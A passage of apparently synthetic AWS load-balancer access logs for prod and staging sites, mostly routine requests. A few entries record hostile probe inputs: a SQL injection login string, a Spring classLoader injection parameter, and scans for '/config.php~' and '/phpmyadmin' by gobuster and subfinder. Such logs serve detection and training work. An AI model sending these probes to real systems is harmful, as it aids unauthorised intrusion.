688 3387 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df8b-84dcd87e86794f288b30edb9" "prod-api-alb.example.com" "-" 1 2024-11-01T02:50:35.016303Z "forward" "-" "-" "10.0.209.94:443" "200" "-" "-" -https 2024-11-01T02:50:36.928747Z prod-web-alb 118.13.103.3:20518 10.0.154.240:443 0.077248 0.044839 0.086511 404 404 232 2994 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df8c-31b46b5eb9644527af4491f6" "prod-web-alb.example.com" "-" 6 2024-11-01T02:50:36.928747Z "forward" "-" "-" "10.0.154.240:443" "404" "-" "-" -http 2024-11-01T02:50:38.050994Z staging-alb 26.35.251.181:59837 205.9.231.78:443 0.033950 0.710217 0.149008 301 301 280 7342 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df8e-4414940e609747b8b87b5f8b" "staging-alb.example.com" "-" 8 2024-11-01T02:50:38.050994Z "forward" "-" "-" "205.9.231.78:443" "301" "-" "-" -http 2024-11-01T02:50:38.852778Z staging-alb 224.51.7.173:64844 100.29.135.98:8080 0.114068 0.200363 0.109679 200 200 898 3689 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df8e-b1201e4f279c48178f110e47" "staging-alb.example.com" "-" 6 2024-11-01T02:50:38.852778Z "forward" "-" "-" "100.29.135.98:8080" "200" "-" "-" -https 2024-11-01T02:50:40.809720Z prod-web-alb 69.159.203.71:62340 10.0.31.52:443 0.092610 0.314543 0.079392 200 200 658 2110 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df90-687972fa40c6480a8ace1a5b" "prod-web-alb.example.com" "-" 4 2024-11-01T02:50:40.809720Z "forward" "-" "-" "10.0.31.52:443" "200" "-" "-" -https 2024-11-01T02:50:41.791229Z prod-api-alb 206.230.51.88:42242 10.0.223.201:443 0.045580 0.309062 0.031875 200 200 639 4500 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df91-69d55546f01e48b1b477004c" "prod-api-alb.example.com" "-" 9 2024-11-01T02:50:41.791229Z "forward" "-" "-" "10.0.223.201:443" "200" "-" "-" -https 2024-11-01T02:50:42.423563Z prod-web-alb 128.245.73.222:23994 10.0.90.185:443 0.002242 0.362276 0.053302 302 302 307 6280 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df92-c96229f11ec546898df505f8" "prod-web-alb.example.com" "-" 9 2024-11-01T02:50:42.423563Z "forward" "-" "-" "10.0.90.185:443" "302" "-" "-" -https 2024-11-01T02:50:44.203411Z prod-web-alb 39.198.156.204:43556 10.0.191.155:443 0.054246 0.267883 0.043380 302 302 50 2071 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df94-b05a669808284a938dee0d76" "prod-web-alb.example.com" "-" 0 2024-11-01T02:50:44.203411Z "forward" "-" "-" "10.0.191.155:443" "302" "-" "-" -https 2024-11-01T02:50:45.876865Z staging-alb 18.192.216.175:18359 44.189.85.59:8080 0.090197 0.112167 0.034204 301 301 468 6482 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df95-8c459f4c6cb64219a2ef76a0" "staging-alb.example.com" "-" 6 2024-11-01T02:50:45.876865Z "forward" "-" "-" "44.189.85.59:8080" "301" "-" "-" -https 2024-11-01T02:50:47.067202Z prod-api-alb 39.107.36.13:61215 10.0.92.163:443 0.010625 0.242004 0.073475 200 200 25 12711 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df97-dbe72d3fd8da4f3984485d71" "prod-api-alb.example.com" "-" 2 2024-11-01T02:50:47.067202Z "forward" "-" "-" "10.0.92.163:443" "200" "-" "-" -https 2024-11-01T02:50:47.468052Z staging-alb 232.4.203.107:45698 6.237.250.209:80 0.109911 0.013570 0.042813 302 302 93 5442 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df97-afcb350279b94d4aa5cc55de" "staging-alb.example.com" "-" 8 2024-11-01T02:50:47.468052Z "forward" "-" "-" "6.237.250.209:80" "302" "-" "-" -https 2024-11-01T02:50:47.621423Z prod-web-alb 193.27.228.31:36704 10.0.33.131:443 0.041181 0.258511 0.025562 500 500 349 11576 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df97-95dc55238e044440a7dbc925" "-" "-" 10 2024-11-01T02:50:47.621423Z "forward" "-" "-" "10.0.33.131:443" "500" "-" "-" -http 2024-11-01T02:50:48.536998Z staging-alb 45.155.205.109:26527 61.125.142.215:80 0.087947 0.064809 0.136697 404 404 647 14211 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df98-d474536c671e4e558187bc89" "-" "-" 3 2024-11-01T02:50:48.536998Z "forward" "-" "-" "61.125.142.215:80" "404" "-" "-" -https 2024-11-01T02:50:49.614783Z prod-api-alb 61.167.142.254:14778 10.0.84.153:443 0.053329 0.428839 0.062379 302 302 366 12698 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df99-0eeb3c6cea0741c5a252fe7a" "prod-api-alb.example.com" "-" 1 2024-11-01T02:50:49.614783Z "forward" "-" "-" "10.0.84.153:443" "302" "-" "-" -https 2024-11-01T02:50:50.591742Z prod-api-alb 69.175.179.171:28216 10.0.5.205:443 0.008422 0.153771 0.014632 302 302 359 9408 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df9a-02b79455c95f4851b84dfab9" "prod-api-alb.example.com" "-" 7 2024-11-01T02:50:50.591742Z "forward" "-" "-" "10.0.5.205:443" "302" "-" "-" -http 2024-11-01T02:50:51.499746Z staging-alb 119.174.65.40:45278 231.122.215.240:8080 0.084453 0.119618 0.000371 200 200 569 1365 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df9b-eda097b85be94652a11f6651" "staging-alb.example.com" "-" 4 2024-11-01T02:50:51.499746Z "forward" "-" "-" "231.122.215.240:8080" "200" "-" "-" -https 2024-11-01T02:50:52.906094Z prod-api-alb 184.86.157.57:12212 10.0.175.148:443 0.019340 0.182898 0.048814 404 404 379 13725 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df9c-543a8c3cd47b442381bd2441" "prod-api-alb.example.com" "-" 9 2024-11-01T02:50:52.906094Z "forward" "-" "-" "10.0.175.148:443" "404" "-" "-" -https 2024-11-01T02:50:53.223580Z prod-web-alb 116.249.191.24:29197 10.0.254.45:443 0.049805 0.444610 0.077365 200 200 363 3950 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df9d-9fdf7e922ebc4083bf425134" "-" "-" 1 2024-11-01T02:50:53.223580Z "forward" "-" "-" "10.0.254.45:443" "200" "-" "-" -https 2024-11-01T02:50:53.591622Z prod-web-alb 198.105.113.23:21665 10.0.166.182:443 0.005066 0.045402 0.047845 200 200 80 13625 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df9d-b5f118f3d6624848b2f0db5e" "prod-web-alb.example.com" "-" 7 2024-11-01T02:50:53.591622Z "forward" "-" "-" "10.0.166.182:443" "200" "-" "-" -https 2024-11-01T02:50:55.513336Z staging-alb 172.74.14.215:63448 75.59.35.147:80 0.130466 0.242238 0.079670 301 301 656 14146 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df9f-dfe443b191254e05b757c64f" "staging-alb.example.com" "-" 5 2024-11-01T02:50:55.513336Z "forward" "-" "-" "75.59.35.147:80" "301" "-" "-" -http 2024-11-01T02:50:56.722632Z staging-alb 2.91.136.25:38524 246.66.176.6:8080 0.062798 0.081265 0.041679 301 301 796 6703 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfa0-e6ddceb0567b43c09255ab38" "staging-alb.example.com" "-" 9 2024-11-01T02:50:56.722632Z "forward" "-" "-" "246.66.176.6:8080" "301" "-" "-" -http 2024-11-01T02:50:58.552038Z staging-alb 221.56.137.24:48600 180.38.171.131:443 0.143163 0.039526 0.107905 200 200 81 14984 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfa2-61cfc57c02f44235a70935f0" "staging-alb.example.com" "-" 5 2024-11-01T02:50:58.552038Z "forward" "-" "-" "180.38.171.131:443" "200" "-" "-" -https 2024-11-01T02:51:00.095911Z prod-api-alb 219.71.46.141:51471 10.0.51.236:443 0.077981 0.006192 0.031173 302 302 409 6824 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfa4-a2857151975b434f9d63460b" "prod-api-alb.example.com" "-" 1 2024-11-01T02:51:00.095911Z "forward" "-" "-" "10.0.51.236:443" "302" "-" "-" -https 2024-11-01T02:51:01.154453Z prod-web-alb 221.50.139.214:31703 10.0.60.31:443 0.088594 0.307474 0.044273 301 301 970 8505 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfa5-3489379a23124976a8848324" "prod-web-alb.example.com" "-" 8 2024-11-01T02:51:01.154453Z "forward" "-" "-" "10.0.60.31:443" "301" "-" "-" -https 2024-11-01T02:51:01.987534Z staging-alb 77.50.238.167:56001 225.158.153.3:8080 0.031449 0.204924 0.105195 404 404 814 3572 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfa5-8fa1a0e549434a24877c153b" "staging-alb.example.com" "-" 10 2024-11-01T02:51:01.987534Z "forward" "-" "-" "225.158.153.3:8080" "404" "-" "-" -https 2024-11-01T02:51:02.260830Z staging-alb 94.25.114.89:64070 166.191.26.251:80 0.063743 0.352873 0.074679 404 404 947 14854 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfa6-abc7fdaa9ebe4b9f8d4045d0" "staging-alb.example.com" "-" 10 2024-11-01T02:51:02.260830Z "forward" "-" "-" "166.191.26.251:80" "404" "-" "-" -https 2024-11-01T02:51:03.352016Z prod-web-alb 50.177.158.212:23665 10.0.173.216:443 0.065363 0.455668 0.054860 301 301 806 14264 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfa7-8621b45c07ff4023b3a0ce4f" "prod-web-alb.example.com" "-" 9 2024-11-01T02:51:03.352016Z "forward" "-" "-" "10.0.173.216:443" "301" "-" "-" -https 2024-11-01T02:51:04.095594Z prod-web-alb 165.4.167.40:19902 10.0.253.40:443 0.001037 0.270200 0.071537 200 200 210 3106 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfa8-5eea57b0bbcf4dceb082427d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:51:04.095594Z "forward" "-" "-" "10.0.253.40:443" "200" "-" "-" -https 2024-11-01T02:51:05.490724Z prod-api-alb 8.193.217.128:14980 10.0.239.122:443 0.038024 0.444937 0.042882 200 200 249 5787 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfa9-d488124852bb4bb1b63a5056" "prod-api-alb.example.com" "-" 0 2024-11-01T02:51:05.490724Z "forward" "-" "-" "10.0.239.122:443" "200" "-" "-" -https 2024-11-01T02:51:05.695897Z staging-alb 118.224.168.57:29744 181.226.236.21:8080 0.032423 0.156895 0.095330 302 302 632 7517 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfa9-229ceefdfdc243319182fc62" "staging-alb.example.com" "-" 10 2024-11-01T02:51:05.695897Z "forward" "-" "-" "181.226.236.21:8080" "302" "-" "-" -https 2024-11-01T02:51:06.394674Z prod-api-alb 193.27.228.247:20152 10.0.128.135:443 0.056943 0.432056 0.079275 302 302 167 12469 "GET /config.php~ HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfaa-079cb4ef6f194f0c8b0cefda" "-" "-" 3 2024-11-01T02:51:06.394674Z "forward" "-" "-" "10.0.128.135:443" "302" "-" "-" -http 2024-11-01T02:51:07.758716Z staging-alb 75.180.102.46:20529 23.165.250.197:80 0.008630 0.611241 0.097130 302 302 159 5509 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfab-4b0828c1294e4a3bb28ab48d" "staging-alb.example.com" "-" 10 2024-11-01T02:51:07.758716Z "forward" "-" "-" "23.165.250.197:80" "302" "-" "-" -https 2024-11-01T02:51:08.506234Z prod-api-alb 45.155.205.59:59907 10.0.123.69:443 0.089865 0.304986 0.030248 403 403 371 2473 "GET /phpmyadmin HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfac-cfcca4d3938c4ba7b94caa89" "-" "-" 10 2024-11-01T02:51:08.506234Z "forward" "-" "-" "10.0.123.69:443" "403" "-" "-" -https 2024-11-01T02:51:09.914389Z prod-web-alb 50.62.148.223:15184 10.0.140.181:443 0.044048 0.333693 0.051465 200 200 23 13480 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfad-7c4789b59b29483d9de0dc02" "prod-web-alb.example.com" "-" 7 2024-11-01T02:51:09.914389Z "forward" "-" "-" "10.0.140.181:443" "200" "-" "-" -https 2024-11-01T02:51:10.480604Z prod-api-alb 29.123.147.84:57737 10.0.92.173:443 0.058725 0.472486 0.038287 200 200 183 4904 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfae-d16b1e2adf634ec6905e48cb" "prod-api-alb.example.com" "-" 2 2024-11-01T02:51:10.480604Z "forward" "-" "-" "10.0.92.173:443" "200" "-" "-" -https 2024-11-01T02:51:11.325034Z prod-api-alb 195.7.67.230:27032 10.0.135.4:443 0.069206 0.031901 0.093120 404 404 233 9888 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfaf-def3348a91f54101a3acc54b" "prod-api-alb.example.com" "-" 7 2024-11-01T02:51:11.325034Z "forward" "-" "-" "10.0.135.4:443" "404" "-" "-" -https 2024-11-01T02:51:12.902104Z prod-api-alb 229.150.120.240:47676 10.0.16.173:443 0.024736 0.413807 0.006380 200 200 658 366 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfb0-b05dca31d4d64369b8735c86" "prod-api-alb.example.com" "-" 7 2024-11-01T02:51:12.902104Z "forward" "-" "-" "10.0.16.173:443" "200" "-" "-" -https 2024-11-01T02:51:13.681921Z prod-web-alb 187.161.171.47:36811 10.0.213.194:443 0.043956 0.286112 0.019386 200 200 728 2866 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfb1-e9386640c26542c4b11dce66" "prod-web-alb.example.com" "-" 4 2024-11-01T02:51:13.681921Z "forward" "-" "-" "10.0.213.194:443" "200" "-" "-" -https 2024-11-01T02:51:15.443698Z prod-api-alb 133.12.180.24:28320 10.0.250.199:443 0.088264 0.170467 0.014203 200 200 812 3353 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfb3-ad6f123ec2e9467a887826f4" "prod-api-alb.example.com" "-" 7 2024-11-01T02:51:15.443698Z "forward" "-" "-" "10.0.250.199:443" "200" "-" "-" -https 2024-11-01T02:51:16.667166Z prod-web-alb 198.221.193.222:22354 10.0.129.32:443 0.071527 0.183577 0.035125 200 200 169 5035 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfb4-93ff15ebcba44296b3b8c857" "prod-web-alb.example.com" "-" 2 2024-11-01T02:51:16.667166Z "forward" "-" "-" "10.0.129.32:443" "200" "-" "-" -https 2024-11-01T02:51:17.520497Z prod-web-alb 77.120.102.21:25083 10.0.86.116:443 0.030073 0.188749 0.001483 200 200 262 7891 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfb5-66e62791f40841339bd87877" "prod-web-alb.example.com" "-" 6 2024-11-01T02:51:17.520497Z "forward" "-" "-" "10.0.86.116:443" "200" "-" "-" -http 2024-11-01T02:51:18.758025Z staging-alb 86.155.132.183:43174 84.194.21.150:8080 0.018177 0.440242 0.051946 200 200 745 5651 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfb6-8ec88b0c098546f9bc9e7348" "staging-alb.example.com" "-" 0 2024-11-01T02:51:18.758025Z "forward" "-" "-" "84.194.21.150:8080" "200" "-" "-" -https 2024-11-01T02:51:19.955812Z prod-api-alb 99.216.97.185:49893 10.0.182.129:443 0.045602 0.166753 0.078907 200 200 585 1812 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfb7-fbd31bd29c7a4912885b2f48" "prod-api-alb.example.com" "-" 9 2024-11-01T02:51:19.955812Z "forward" "-" "-" "10.0.182.129:443" "200" "-" "-" -https 2024-11-01T02:51:21.869705Z prod-web-alb 158.82.100.155:18715 10.0.221.230:443 0.001554 0.104760 0.012145 200 200 498 4787 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfb9-5932321d9dc1449a919ecd2e" "prod-web-alb.example.com" "-" 0 2024-11-01T02:51:21.869705Z "forward" "-" "-" "10.0.221.230:443" "200" "-" "-" -https 2024-11-01T02:51:23.770493Z prod-web-alb 254.92.5.40:21953 10.0.74.131:443 0.081605 0.397863 0.099455 200 200 940 8772 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfbb-7c2d52bc6fc54792b533e075" "prod-web-alb.example.com" "-" 4 2024-11-01T02:51:23.770493Z "forward" "-" "-" "10.0.74.131:443" "200" "-" "-" -http 2024-11-01T02:51:25.098988Z staging-alb 150.38.197.119:52886 144.31.33.49:443 0.059627 0.355077 0.133270 200 200 550 4874 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfbd-526003ce81cc4ff4a9bf197a" "staging-alb.example.com" "-" 9 2024-11-01T02:51:25.098988Z "forward" "-" "-" "144.31.33.49:443" "200" "-" "-" -http 2024-11-01T02:51:26.429429Z staging-alb 244.129.6.244:54358 32.10.220.84:8080 0.118522 0.224955 0.118738 301 301 892 7410 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfbe-df8971f46d3d4cd28ba4065a" "staging-alb.example.com" "-" 2 2024-11-01T02:51:26.429429Z "forward" "-" "-" "32.10.220.84:8080" "301" "-" "-" -https 2024-11-01T02:51:27.794412Z prod-web-alb 245.92.103.95:29209 10.0.137.151:443 0.012637 0.237798 0.001728 200 200 669 5812 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfbf-16394b876eed46d398373d1b" "prod-web-alb.example.com" 